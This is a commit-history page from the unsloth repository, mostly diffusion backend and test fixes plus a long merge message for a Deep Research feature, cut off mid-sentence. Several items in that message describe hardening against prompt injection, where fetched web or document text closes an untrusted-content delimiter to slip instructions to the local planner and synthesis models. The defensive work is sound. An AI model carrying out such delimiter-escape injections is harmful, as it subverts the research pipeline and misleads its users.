Commit graph

1,246 commits

Author SHA1 Message Date
Daniel Han
287f3043dd Tighten diffusion comments (third pass)
Collapse the remaining multi-line comment blocks in the attention, cache, LoRA, prequant, precision and compile-cache modules, the sd.cpp arg builder and engine, the video routes, the Ideogram 4 assembly, the model picker, and the diffusion test suites. Comments only, no code or behaviour changes.
2026-07-27 12:08:33 +00:00
Daniel Han
6e16ad16f7 Tighten diffusion comments
Collapse the multi-line comment blocks across the image, video, sd.cpp and diffusion-training code to one or two lines each, and drop comments that only restate the statement below them. Comments only, no code or behaviour changes.
2026-07-27 11:51:20 +00:00
pre-commit-ci[bot]
0d08bb127d [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 11:38:08 +00:00
Daniel Han
181adc6703 Do not let a queued generation outlive the model, and three scan fixes
Five items from the latest review; four were real.

An unload or arbiter eviction only cancels the generation holding
_generate_lock. A second request queued behind it holds no cancel event yet,
and Python locks are not FIFO, so it could take the lock the instant the
active denoise released it, still see a loaded pipeline, and run a whole new
denoise after the model was told to go away: the eviction then waits minutes
for it and an image lands after the eject. Unload and a superseding load now
raise a fence under _lock before they queue, and a generation that wins the
lock while one is pending refuses instead.

The cached-model scan judged pipeline completeness across every revision, so
a repo holding an older complete snapshot plus a newer companion-only one
read as complete while the snapshot from_pretrained actually opens has no
transformer. Both scans now look at the revision the loader will open.

Deleting a dataset image deleted its caption sidecar unconditionally, which
for cat.jpg alongside cat.png removed the caption the survivor still resolves
to. The sidecar now goes only with the last image of that stem, matching what
the thumbnail cleanup beside it already did.

Importing an example into a folder that holds no images but does hold files
fell back to promoting the staging dir one file at a time, so an interruption
left a partial dataset that the image_count check accepts as complete on
retry. Those files are folded into the staging dir instead and the promotion
stays a single atomic rename.

The MPS generator report does not apply: torch.Generator(device="mps") has
worked since PyTorch 2.0 (pytorch/pytorch#91348) and the studio installer
pins torch>=2.4.
2026-07-27 11:37:11 +00:00
pre-commit-ci[bot]
5434520e67 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 10:46:59 +00:00
Daniel Han
d4a17b2ca0 Build the image download plan for the engine that will load
/images/download-plan always asked the diffusers backend, while /images/load
picks the engine per host: a GGUF pick on a machine with no usable GPU routes
to native sd.cpp, which reads a single-file VAE plus text encoders and never
opens the base repo's sharded components.

Measured on unsloth/FLUX.2-klein-4B-GGUF (Q2_K): the plan staged 7.66 GB of
FLUX.2-klein-4B components the native load discards, and the 7.80 GB sd-cli
actually needs was then fetched inline by the loader, outside the download
manager's progress and its disk preflight. Z-Image-Turbo is the same shape.

The plan now asks whichever engine the load will select. predict_engine()
applies the selection policy without any side effect: it activates nothing
(staging a download must not unload the resident model) and only locates the
binary rather than installing it, but still counts an installable binary as
available, since that is what the load does on a fresh host. The native
backend gains a download_plan built from the same _asset_specs the loader
fetches, returning the same envelope, so the manager stages exactly the files
sd-cli opens.
2026-07-27 10:46:04 +00:00
pre-commit-ci[bot]
94ad906f7f [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 10:38:49 +00:00
Daniel Han
63740bafbd Stream gallery clips, and close three races around them
Four fixes from the latest review pass.

The video gallery downloaded each clip into a blob before it could play, so
playback waited on the whole file (tens to hundreds of MB), seeking was
limited to what had arrived, and every viewed clip stayed pinned in the
webview. The file route already streams and serves ranges; it just could not
be a <video src> because it is bearer-gated. Mint a short-lived signed link
instead (its own HMAC secret, 12 hour TTL, separate from the image links) and
hand it to the element, which then fetches only the ranges it plays. That
removes the blob budget, its LRU and every revoke on this page.

The sd.cpp readiness probe accepted any process answering on the port, so a
foreign server that grabbed the port between the bind check and the spawn was
adopted as ours. Confirm the listener is our child before reporting ready,
and stay best-effort (psutil missing, an unknown owner, or any probe error
still passes) so the check can only reject a definitely foreign process.

Dataset import held its lock for the extract but not for the upload path, so
two concurrent uploads into the same folder interleaved; take the same lock
and return 409. And reject Windows device names (CON, NUL, COM1..9, LPT1..9,
with or without an extension) plus trailing periods in dataset names, which
are unopenable on Windows.
2026-07-27 10:36:05 +00:00
Daniel Han
49b89de3dc Restore the diffusion engine selection after each router test
The active engine is module state, and several tests set it by plain assignment
because what _activate does to it is the thing under test, so monkeypatch could
not undo it. A leaked ENGINE_SD_CPP left get_active_diffusion_engine() handing
back the sd.cpp backend for the rest of the process, and every later route that
reads the active engine then saw an unloaded model: eight tests in
test_openai_images_generations_route.py returned 503 in a full-suite run while
passing on their own. The autouse fixture now snapshots and restores it.
2026-07-27 10:16:44 +00:00
pre-commit-ci[bot]
f75eb3f240 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 09:50:57 +00:00
Daniel Han
fdce76db2e Do not advertise a family the installed diffusers cannot build
The newer families (Z-Image, Krea 2, FLUX.2, LTX-2, HunyuanImage) exist only
from diffusers 0.39, and 0.39 cannot be installed on Python 3.9 at all --
diffusers dropped 3.9 in 0.38, so the requirement is conditional or the whole
extra becomes unresolvable. On such an environment the picker still offered
those rows, every pick failed deterministically, and the error's advice to run
pip install -U diffusers could not fix it without also upgrading Python.

The cached-repo picker now applies the same availability check
validate_load_request does, which is keyed on the pipeline class actually
present rather than on the Python version, so it is also right for an
intentionally pinned older diffusers on 3.10+. Fails open when diffusers cannot
be imported at all: that is a different problem and the load path reports it.
2026-07-27 09:50:05 +00:00
pre-commit-ci[bot]
f94194ac41 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 09:42:25 +00:00
Daniel Han
794e43ffa1 Plan the pre-cast text encoder, and make the cross-trainer GPU admission atomic
An fp8 text-encoder request loads a hosted PRE-CAST checkpoint, but the image
download plan never received text_encoder_quant, so the manager staged the base
repo's dense encoder (FLUX.2-dev's Mistral-24B is ~48 GB, Qwen-Image's
Qwen2.5-VL ~16.6 GB) and the load then pulled the pre-cast file inline, outside
the manager's progress and disk preflight. The plan now takes the field,
resolves the hosted artifact with the same resolver the injection uses, stages
that file, and drops only those components' dense weight shards. The load's own
prefetch takes the same treatment, since it paid the same cost. Only a
checkpoint that really resolves on the Hub earns the drop, so a gated or renamed
artifact still stages the dense encoder the load will fall back to.

The two trainers admitted each other with independent check-then-act guards:
the diffusion route checks the LLM backend several network-bound preflights
before it reserves, and the LLM route checks the diffusion service well before
it spawns, so two near-simultaneous starts could both pass and train on one GPU.
reserve() now re-tests the LLM backend under its own lock, and the LLM route
holds the diffusion service's gpu_load_admission across its spawn, so exactly
one of the two wins. Both halves fail open, so a chat-only install still
trains.
2026-07-27 09:41:34 +00:00
Daniel Han
a2342f80df Stop an ignored-cancel sd-server, guard deletes during diffusion training, repair unusable managed binaries
sd-server does not interrupt an in-flight job, so when it ignores a cancel the
grace branch abandoned the poll and reported cancellation while the native job
kept a core (or the GPU) busy to completion and held the server's job slot. The
comment said the caller stops the server, but only unload does that
immediately: a superseding load stops it after its multi-gigabyte download, and
a load that then fails never gets there. Stop it here, as the deadline branch
already does.

DELETE /api/models/delete-finetuned checked only the LLM trainer, so it could
rmtree the output directory a live diffusion LoRA run was about to write its
adapter into. Consult the diffusion training service too, like the dataset
mutation and model-load routes.

find_sd_*_binary only checks is_file(), so an interrupted extraction (or a
prebuilt for the wrong CPU) left a present-but-unrunnable binary the installer
never retried: every load probed it, fell back to diffusers, and native
inference stayed off until the directory was deleted by hand. Probe it and
reinstall, but only for a copy under the installer-owned root -- SD_CLI_PATH,
UNSLOTH_SD_CPP_PATH, an in-tree build and anything on PATH are the user's.
2026-07-27 09:41:34 +00:00
pre-commit-ci[bot]
7dbc95936e [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 09:24:05 +00:00
Daniel Han
0c6bad2365 Fix two tests that only fail in a full-suite run
The 3.10 CI leg resolves PyAV 17, where av.container.OutputContainer is an
immutable C type, so the no-libopus export test died on "cannot set
'add_stream' attribute of immutable type" before it asserted anything. Inject
the refusal by wrapping the container av.open() returns instead; modules stay
patchable on every build. Removing the injection makes the test fail again, so
it still covers the branch it is named for.

The Xet shim's degraded-path tests drop utils.hf_xet_fallback from sys.modules
and import a throwaway copy. Restoring only the sys.modules entry left the
utils package attribute bound to the throwaway, and the two disagreed for the
rest of the process: a later monkeypatch of the dotted target patched one copy
while the code under test imported the other, so the patch did nothing and
test_fetch_te_prequant_only_reports_what_it_downloaded reached the real Hub and
got a 401. Restore both bindings.
2026-07-27 09:23:13 +00:00
pre-commit-ci[bot]
a77b6f8171 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 09:10:30 +00:00
Daniel Han
9a9999f8cd Recover from a ggml unsupported-op abort by restarting on the CPU backend
ggml checks every node against the device's supports_op and calls GGML_ABORT
when one is not implemented, because a single-backend graph has nowhere else to
put it: there is no per-op CPU fallback. The whole sd-server dies with SIGABRT
mid-generation and the user gets "the native image renderer stopped
unexpectedly" with no way forward.

Seen on macos-14 arm64 with FLUX.2-klein-4B Q2_K through the cross-platform CI:
the text encoder is already pinned to CPU, and the abort moved into the denoise
loop instead.

    ggml_metal_op_encode_impl: error: unsupported op 'MUL_MAT' -> ggml_abort
    StableDiffusionGGML::sample -> sample_k_diffusion

A retry on the same backend would abort identically, so the load is restarted
once with --backend cpu (the only flag that changes which backend executes the
graph; --offload-to-cpu moves parameters, not compute) and the generation is
re-submitted. The same checkpoint then renders slower rather than not at all.
Strictly bounded: the signature must carry both the unsupported-op line and
ggml_abort, the device must not already be CPU, and it happens once per load,
so an OOM kill or a genuine crash still surfaces as itself.
2026-07-27 09:08:42 +00:00
pre-commit-ci[bot]
4719f1a9a6 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 08:15:38 +00:00
Daniel Han
62d0ccba12 Per-load video cancel event, family-gated image picker, cond cache refusal
A cancelled video load could resume: begin_load cleared the shared cancel
event, and unload() drops _loading without waiting for the worker, so the
next load cleared the very object the cancelled worker was watching and its
multi-gigabyte pull ran on alongside the replacement until the token check
at the end. Each load now gets its own threading.Event, passed down through
_fetch_te_prequant and _predownload_base, so a cancelled worker stays
cancelled.

A cached repo with a model_index.json was advertised as text-to-image on the
trust rule alone, but validate_load_request also requires a detected image
family, so a trusted pipeline of an unsupported class produced a picker row
that deterministically 400s. The picker now applies both gates, mirroring the
video branch.

cond_cache_dir was accepted for sdxl and then ignored: only the DiT trainer
reads it, while the SDXL trainer builds a per-run in-memory latent cache, so
the promised cross-run reuse never happened. The route now refuses it with a
400 that names the families which do support it, checked against the resolved
family so an omitted model_family with an SDXL base is caught too.
2026-07-27 08:14:36 +00:00
Daniel Han
9a933d375b Guard old diffusers, stream video exports, record conditioned recipes
Three fixes from review.

The 0.39-only pipeline classes (Flux2Klein, Z-Image, Krea 2, LTX-2,
HunyuanImage) were resolved by getattr deep in the load, so on the older
diffusers that packaging still allows on Python 3.9 -- diffusers dropped 3.9 in
0.38 and this project still supports it, so the 0.39 floor has to be conditional
or the extra becomes unresolvable -- an advertised model failed with a bare
AttributeError after its checkpoint had already been downloaded. Krea 2 already
guarded itself this way; assert_pipeline_class_available now runs the same check
for every image and video family from validation, before any fetch, and names
the version and the fix.

WebM export accumulated the whole VP9 output in a BytesIO and returned it as one
bytes object that the response held again. The request caps allow 2048x2048 for
1024 frames, so an export runs to hundreds of MB and concurrent clicks could
exhaust the process, while the MP4 route beside it already streamed from disk.
transcode_to_file encodes to a temp file and the route returns a FileResponse
with a background unlink, so nothing large is resident.

A conditioned generation's recipe carried only the txt2img fields, so the
gallery presented an inpaint or upscale result as a complete Create recipe and
restoring it replayed an unrelated text-to-image request. The images themselves
are still not persisted (user uploads with their own lifetime), but the workflow
and its scalars are, restore reapplies them, and the toast now names the inputs
that have to be supplied again instead of silently landing on Create.

Reported by Codex.
2026-07-27 07:41:19 +00:00
pre-commit-ci[bot]
e1aa01d8a6 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 07:24:25 +00:00
Daniel Han
30094835d5 Only retry the unsloth import where it can succeed
The gate still let the retry run on hosts unsloth does not support, which is
where it is most harmful: a 7 GB macOS runner lost the Studio server 26 s into a
load, and the Linux runner was torn down mid-generation. Neither MPS nor plain
CPU can complete the import, so the retry there pays the cost and fails anyway.

Require an accelerator unsloth actually supports (CUDA/ROCm via torch.cuda, or
XPU), with UNSLOTH_ALLOW_CPU as the documented override, and hoist the predicate
to module level so it is tested directly rather than through the import system.
On a CPU-only host the retry no longer fires at all; on CUDA the clean-environment
case it was added for still passes 29/29.
2026-07-27 07:23:29 +00:00
pre-commit-ci[bot]
283af88f53 [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
2026-07-27 07:18:14 +00:00
Daniel Han
723b1b685b Merge branch 'main' of https://github.com/unslothai/unsloth into r6763
# Conflicts:
#	studio/backend/routes/__init__.py
#	studio/backend/tests/test_gguf_load_cache_reuse.py
#	studio/frontend/src/features/model-picker/components/model-selector/pickers.tsx
#	studio/frontend/src/hooks/use-gpu-info.ts
2026-07-27 07:15:43 +00:00
Daniel Han
ca5ae684ad Keep the sd.cpp text encoder on CPU under Metal
macos-14 loads FLUX.2-klein-4B Q2_K natively on mps and then dies on the first
generation with exit code -6:

    ggml_metal_op_encode_impl: error: unsupported op 'RMS_NORM' -> ggml_abort
    LLMEmbedder::encode_prompt -> LLMRunner::compute -> GGMLRunner::compute

ggml's Metal backend gates RMS_NORM on contiguous rows and aborts the process
when that does not hold, with no per-op CPU fallback, so any LLM text encoder
(Qwen3 for FLUX.2 and Z-Image, T5 for FLUX.1) takes sd-server down. The encoder
runs once per prompt while the DiT runs every step, so pinning only the encoder
keeps Metal for the part that matters. UNSLOTH_DIFFUSION_SD_CPP_METAL_TE_GPU=1
opts back in once ggml grows the kernel.
2026-07-27 06:58:36 +00:00
Daniel Han
147d323912 Fix diffusion policy and classification issues from review
fp8 auto precision defaulted to precise accumulate on any non-consumer GPU,
which made fp8 2.05x slower than int8 on RTX 6000 Ada and slower than not
quantising at all. NVIDIA's professional whitepapers do publish equal FP8 rates
for both accumulate modes there, so the hardware premise held, but the cost is
in the cuBLAS path rather than the published rate. Default to fast accumulate:
measured on B200 the flag is a no-op (4096^3 _scaled_mm at 3023.8 vs 3041.8
TFLOP/s, bitwise-identical output, 1.213 s vs 1.230 s end to end), so it is a
large win where it bites and free where it does not. Precise accumulate stays
available via transformer_quant_fast_accum.

Z-Image's DiT is a Lumina2 derivative, so unsloth/Z-Image-GGUF and
unsloth/Z-Image-Turbo-GGUF both declare general.architecture = "lumina2" and the
whole line was tagged image-diffusion-unsupported and hidden from the Images "On
Device" list, though validate_load_request loads them. Resolve shared archs from
the repo/file name like bare "wan" already does, with a test asserting the picker
and the loader agree for every family.

The sage attention on-demand install ran an unpinned `pip install sageattention`,
but PyPI's newest wheel is 1.0.6 and diffusers refuses anything below 2.1.1: the
install always "succeeded", wrote an unusable version into the running venv, and
was rejected on the next line. Carry the dispatcher's floor so pip resolves
nothing instead.

The dense-quant disk gate sized the download from the bf16-RESIDENT table. The
fp32 families download twice that (Z-Image: 23,479 MiB against a 21,970 MiB
gate), leaving a window where the check passed and the download filled the disk;
Ideogram 4 ships fp8 and was overcharged the other way. Size the gate by
published bytes, verified against HF sibling metadata for all 12 families.

Patch installs went through unsloth_zoo, which refuses to import unless
UNSLOTH_IS_PRESENT is set, and that is set by unsloth itself. The server imports
unsloth at boot so it never showed there, but any other process ran silently
unpatched with every install returning False, which is 13 test failures on a
clean environment. Import unsloth and retry once, memoised per process.

Also: the GGUF+LoRA refusal pointed at the native engine without saying a GPU
host only selects it under UNSLOTH_DIFFUSION_ENGINE=sd_cpp, so the suggestion was
unreachable; the gallery recipe recorded loras from the generate request alone,
losing a load-time bake; load-progress claimed "40.07 GB downloaded" for a fully
cached load; and pickers.tsx imported three catalog-group helpers it never used.

Reported by oobabooga.
2026-07-27 06:51:41 +00:00
alkinun
502730bbba
Studio: add Deep Research (#7219)
* Studio: add durable Deep Research workflows

* Studio: preserve research integration after upstream updates

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: keep research worker compatible with Python 3.11

* Studio: address Deep Research lifecycle review

* Studio: preserve durable research recovery

* Studio: preserve research stream and context

* Studio: harden research sources and limits

* Studio: align research with shared chats

* Studio: guard durable research actions

* Studio: protect durable research turns

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: deepen durable research decisions

* Studio: protect research prompts and queries

* Studio: slim research stream deltas

* Studio: preserve research evidence and citations

* Studio: harden Deep Research (CI, prompt injection, query PII, config, citations)

- Fix backend CI: add research_runs_router to the synthetic routes stub in
  test_desktop_auth so studio.backend.main imports under the health-check test.
- Escape prompt-delimiter tags in the decision and synthesis prompts so gathered
  web/document content cannot close an <untrusted_...> wrapper and inject
  instructions into the local planner/decision/synthesis model.
- Extend the public-query sanitizer to redact Luhn-valid payment cards, phone
  numbers, non-global IPs, and labeled private identifiers before a query can
  reach web search.
- Reject nested credential keys in inferenceRequest and ragScope, not just
  top-level keys, when persisting a durable run config.
- Treat maxSources as one budget shared across web and document sources
  (collection and resume paths) instead of per type, which allowed up to 2x the
  configured cap.
- Preserve document citations whose filename contains a closing bracket by
  tokenizing valid citations before stripping invalid ones.
- Persist Deep Research off when switching to an external model and when enabling
  Web Fetch so a refresh cannot rehydrate a mutually-exclusive state.
- Add regression tests for the query, prompt, citation, and config hardening.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: make the research claims table migration atomic

The owner-scoped to global claims migration ran its RENAME, CREATE, INSERT and DROP in autocommit, so an interruption after CREATE left the new table empty, orphaned the rows in the legacy table, and never re-triggered. Wrap the rebuild in an explicit transaction so a crash rolls back cleanly and the migration re-runs on the next boot.

* Studio: block message edits and regeneration during an active research run

After a reload a durable research run is followed by the research store rather than an assistant-ui run, so thread.isRunning is false while research is still active. Message edit, refresh and the edit composer previously gated only on isRunning, which let a normal generation start alongside the running research run. Gate them on the active thread's research state as well.

* Studio: keep the plan review mounted through approval

Keying PlanReview on planRevision remounted it mid-approve when updateResearchPlan bumped the revision, resetting the local pending flag and re-enabling Start research while the approve was still in flight, which allowed a duplicate approve. Key on runId only.

* Studio: drop the redundant deep-research persistence change

setCheckpoint already persists Deep Research off for external models at the top of the function, so the added saveBool was a duplicate, and clearing Deep Research from setWebFetchToolsEnabled guarded a state that is not reachable (Deep Research is local-model only while the Web Fetch pill is external-provider only). Revert both to the pre-hardening version.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden Deep Research citations, query privacy, and message protection

Address review findings in the Deep Research backend:

- Escape an unbalanced ")" in citation destinations so a source URL cannot
  close the markdown link early and inject a second link, keeping balanced
  parentheses literal.
- Match raw-URL citations on whole tokens so a URL sharing another URL's
  prefix is no longer partially rewritten.
- Redact non-global IPv6 addresses in public search queries, matching the
  existing IPv4 handling.
- Detect credential key names after normalizing case and separators so nested
  openaiApiKey, accessToken, and clientSecret values cannot be persisted.
- Reject client edits to server-managed research prompts and reports at the
  storage layer; only the internal writers pass allow_research_update.
- Scope research searches to the first allowed domains instead of dropping
  site scoping for large allow lists.
- Persist the same fetch evidence bound used during live synthesis so a
  resumed run is not shortened.
- Scope run completion so it only replaces this run's message parts.

Add regression tests for the above.

* Studio: fix Deep Research SSE framing, source counts, and favicon privacy

- Normalize the whole SSE buffer so a CRLF split across transport chunks
  still frames events.
- Count web and document sources together in the activity header so a
  RAG-only run is not shown as zero sources.
- Cap the plan editor at the run's configured maxSteps instead of a
  hard-coded 30.
- Add an allowRemoteIcons opt-out to the sources components and disable
  third-party favicon requests for research sources so visited domains are
  not leaked.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: address final Deep Research review findings

* Studio: fit Deep Research synthesis evidence to loaded context, add opt-in web grounding

Size the synthesis evidence budget to the loaded model context so the prompt is not
silently truncated on small contexts. When the evidence overflowed the window the report
degenerated (it echoed the evidence tail instead of writing); the budget now reserves tokens
for the prompt scaffolding and converts the remainder to chars, keeping the full cap when the
context is unknown.

Add opt-in web grounding for auto-read: read the top search results, ingest them into an
ephemeral RAG scope, hybrid-retrieve the passages most relevant to the question with the
existing knowledge-base retriever, and fold those chunks into the step evidence. The scope is
per call and deleted afterwards, so a user's knowledge base is never touched.

Off by default; enable with UNSLOTH_RESEARCH_AUTO_SCRAPE=1. Gated per run by
budgets["maxAutoScrape"], so runs created without it keep legacy snippet-only behavior, and
grounding is skipped when the loaded context is too small for the prompt.

Add tests for the adaptive evidence budget, scraped-text cleaning, the ephemeral web-RAG
retrieval and scope cleanup, and the auto-read evidence path.

* Studio: read Deep Research synthesis context from the inference orchestrator

Make the adaptive synthesis-evidence budget actually engage in the normal Studio
architecture. _loaded_context_length read core.inference.inference, the low-level backend that
lives in the model subprocess and stays unpopulated in the main web process where the research
supervisor runs, so it returned None and the budget silently fell back to the 32000 character
cap (leaving the report exposed to the truncation this was meant to fix). Read the inference
orchestrator instead, and the llama.cpp backend for GGUF, mirroring
routes.inference._monitor_context_length so the budget sizes to the context the API layer
serves. Verified on a running server: at a 12288 token load the probe now reports 12288 and the
budget adapts to 24576 characters instead of the 32000 fallback.

Also:
- Reserve context for the generated report as well as the prompt scaffolding (raise the reserve
  to 4096 tokens) so evidence does not crowd out the output on a small window.
- Honor a numeric UNSLOTH_RESEARCH_AUTO_SCRAPE by passing the per-run maxAutoScrape as the page
  cap to the scraper, instead of always reading the maximum.
- Guard the web-RAG connection acquisition so a get_connection failure returns the documented
  empty result rather than propagating.
- Add a synthesis-context test that patches the real backend accessor (not the probe itself) so
  the production wiring is exercised, plus a scrape page-cap test.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: harden Deep Research query redaction and research autosave

- research_runs: extend the opaque-token allowlist so unlabeled Hugging
  Face (hf_) and GitLab (glpat-) tokens are redacted before a query can
  reach web search, without over-redacting public model or version ids.
- runtime-provider: for a server-managed research message, echo the
  backend-stored metadata verbatim on autosave. Merging the client
  metadata re-added client-only fields the server never persisted, so the
  server-side guard saw a diff and rejected every streamed or snapshot
  update with 409.

* Studio: keep composer tool pills always accessible after merge

The merge left the composer line marked always-expanded (data-expanded
"true") while the inner pill row was still gated behind composerExpanded,
so the Search and Code toggles disappeared once the permission mode was
"off" with no other toggle set. Render the primary tool pills
unconditionally, matching the always-expanded layout, and drop the now
unused composerExpanded and permissionMode locals. Fixes the Chat UI
Playwright check that asserts the Search and Code pills stay visible.

* Studio: update Deep Research composer contract to always-expanded layout

The always-expanded composer no longer routes effectiveDeepResearchEnabled
through a composerExpanded expression, so the frontend contract now checks
that it gates the Deep Research composer button render instead.

* Studio: do not bind a research run to a populated assistant reply

create_run adopted any assistant message under the user turn whose
researchRunId was unset, including a prior answer reused by a retry. On
completion _update_assistant drops the untagged text and source parts, so
that answer was silently overwritten. Only bind to an empty placeholder or
this run's own message, and reject a reply that already carries content.

* Studio: harden Deep Research synthesis budget, prompt shielding, and message protection

- research_runs: split the synthesis evidence budget evenly across notes so a
  small context still keeps a slice of every research step instead of dropping
  the later steps after the earliest ones fill the budget.
- research_runs: shield the research question and approved plan before placing
  them in the decision and synthesis prompts, so a closing delimiter in either
  cannot escape its block and inject sibling sections.
- research_runs: redact bearer authorization tokens from public search queries.
- studio_db: include attachments in the research-message change check and guard
  direct attachment deletion, so server-managed research prompts and responses
  cannot be mutated through the attachment paths.
- chat_history: map the protected-message conflict on attachment deletion to 409.

* Studio: strip invalid document citations that contain brackets

The invalid-citation regex stopped at the first closing bracket, so a
citation whose filename contained brackets left its tail (".pdf, p. 9]") in
the report. Match a balanced bracketed span so the whole invalid citation is
removed; valid citations stay protected by the earlier tokenization pass.

* Studio: free the RAG search slot when a lookup times out or is cancelled

The bounded knowledge-base search held the sole admission slot in a detached
worker until the search returned, so a lookup that outlived its timeout (a
stalled embedding or blocked vector call) kept the slot forever and starved
every later lookup, disabling knowledge-base retrieval globally. Release the
slot from the caller when it stops waiting, exactly once, so a detached worker
finishes without re-holding it.

* Studio: remove Websites label from research composer

* Studio: fix Deep Research review findings (RAG slot bound, orphaned workers, hardening)

- Bound the shared RAG search slot to one running worker. The search that is
  doing the embedding/index/GPU work now owns the admission slot until it
  finishes, instead of freeing it on caller timeout while the detached worker
  keeps running, which let a second search enter and stack concurrent work
  behind the capacity-of-one semaphore.
- Cancel active research runs before deleting their thread, project, or all
  history. Deleting cascade-drops the run row, but the worker only notices at
  its next lease check, so it could keep doing model/web/RAG work for a run
  that no longer exists; signalling cancel first shortens that window.
- Shield the planner prompt's conversation and question with _shield_untrusted,
  matching the decision and synthesis prompts, so untrusted text cannot forge
  planner delimiters.
- Do not let a research key-revocation failure replace a successful
  non-streaming completion; log it like the streaming path does.
- Include created_at in the protected research-message guard so a client cannot
  reorder server-managed prompt/response messages while leaving the body intact.
- Reject non-scalar ragScope values; a nested container evades the
  sensitive-key scan when its inner keys are unlisted and would reach retrieval
  code that expects a scalar scope id.

Adds regression tests for each.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: remove research composer globe icon

* Studio: use Hugeicons telescope in research composer

* Studio: use Telescope02 icon in research composer

* Studio: standardize Deep Research telescope icons

* Studio: move Deep Research below web and code tools

* Studio: merge grounded page excerpts with search snippets instead of replacing

When auto-scrape grounding retrieved page-body chunks, it replaced the raw
search-result text for that step. If the retrieved chunk was a distractor or
dropped the key fact, the answer-bearing search snippet was lost and grounded
runs regressed below snippet-only accuracy on factual questions (e.g. returning
Apache 2.0 instead of the Qwen License, 403 instead of 404, or a single mirror
diameter instead of the sum).

Keep the search snippets and append the grounded excerpts as supplementary
evidence via a small _merge_scraped_evidence helper. Grounding stays opt-in and
off by default, so legacy runs are unchanged. Adds regression tests.

* Studio: fix stale website access assertion in Deep Research contract test

The dialog heading was renamed to a DialogTitle, so the contract test still
asserted a <span>Websites</span> that no longer exists and failed on every
branch built on this one. Assert the current heading instead.

* Add AGPL-3.0 SPDX header to the two new test files for PR #7219

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix citation loss, effort clamping and nested inferenceRequest for PR #7219

Three review findings, each with a regression test that fails without the fix.

Citation dropped for a bare URL in prose parentheses. _RAW_URL swallows the
closing paren and the old trim set only stripped ".,;:!?", so the catalog
lookup missed and the validator deleted the whole citation, leaving an
unbalanced "(" in the report. New _trim_url_tail follows GFM extended autolink
path validation: one right-to-left pass that interleaves punctuation and
unmatched-")" trimming. Both rules must run in the same loop, else
"https://x/y.)" keeps a stray dot. Balanced parens inside a URL
(Wikipedia-style) still survive. Output verified against cmark-gfm on nine
cases, including "https://x/foo)bar)" which must keep ")bar".

Research runs forwarded reasoningEffort unclamped. The local chat path clamps
to the loaded model's advertised levels; the research branch did not, and the
backend only validates enum membership, so llama.cpp dropped a level the model
lacks and the whole durable run silently fell back to the template default.
Now uses the same helper and the same levels as normal chat. Note this makes
"max" on a gpt-oss low|medium|high model resolve to "low" rather than falling
through to the template default, matching normal chat exactly; the divergence
between the two paths was the bug.

Nested inferenceRequest values were persisted. Every allowed field is a scalar
and the numeric/bool/enum ones reject a container while coercing, but "model"
is stringified with str(), which never raises, so {"auth": "sk-..."} slipped
past the sensitive-key scan ("auth" is not on the list) into the durable run
config as the model id. Mirrors the ragScope guard already in this PR.

Verified: 542 passed across the research/web/sandbox/chat-history backend
suites, frontend contract 10 passed, tsc --noEmit clean.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix report-stalling regex, uncataloged KB evidence and bracketed titles for PR #7219

Catastrophic backtracking in _DOCUMENT_CITATION. The alternation
(?:[^\[\]]+|\[[^\[\]]*\])* backtracks exponentially on an unterminated
"[Document:" with no later bare "]", which is ordinary malformed model output
and exactly what this sanitizer exists to handle. Runtime quadrupled every two
characters; one realistic 76-char line did not finish in 90s. It runs
synchronously inside async _research (the line below it uses asyncio.to_thread),
so a single bad report pins the event loop and stalls all of Studio, not just
the run. Replaced with the language-equivalent unrolled form, verified identical
on well-formed inputs including bracketed filenames, and linear: a 20,000-char
tail now takes 0.4ms. Not using possessive quantifiers or atomic groups, which
need Python 3.11 while this package declares >=3.9.

Uncataloged knowledge base evidence reached synthesis. When maxSources is
already full, every returned chunk hits the continue, so accepted_rag_sources
stays empty, the "if accepted_rag_sources" rebuild no-ops and rag_result keeps
the raw KB text. That text has no document_source_catalog entry, so the
validator strips any citation to it and synthesis is left building claims on
private KB chunks it cannot attribute. Cleared, gated on rag_sources so a
text-only KB reply is still passed through. The resume branch built rag_evidence
from all restored sources with the same hole, so it now mirrors the live loop.

Bracketed source titles destroyed their own citation. The catalog gave the model
the raw title while the citation writer stripped brackets. Search titles
routinely carry one ("[PDF] Annual Report"), and the prompt tells the model to
copy the title verbatim, producing a label the validator cannot match. Both
sides now share _citation_title.

Verified: 756 passed across the research/web/sandbox/chat-history/rag backend
suites. Each fix has a regression test that fails without it.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Keep a durable run alive when no model is loaded for PR #7219

A durable run is claimable within the supervisor's poll interval of startup
(main.py starts it in the lifespan, and claim_next takes any 'running' run whose
lease expired), Studio has no startup model auto-load, and the browser is not
connected yet. So restarting Studio mid-run reliably lands the next model call
on the local endpoint's HTTP 400 "No model loaded". That 400 is not retryable:
_completion retries only >= 500, and _stream_completion, which serves both
planning and synthesis, has no retry at all. The run is marked failed, and the
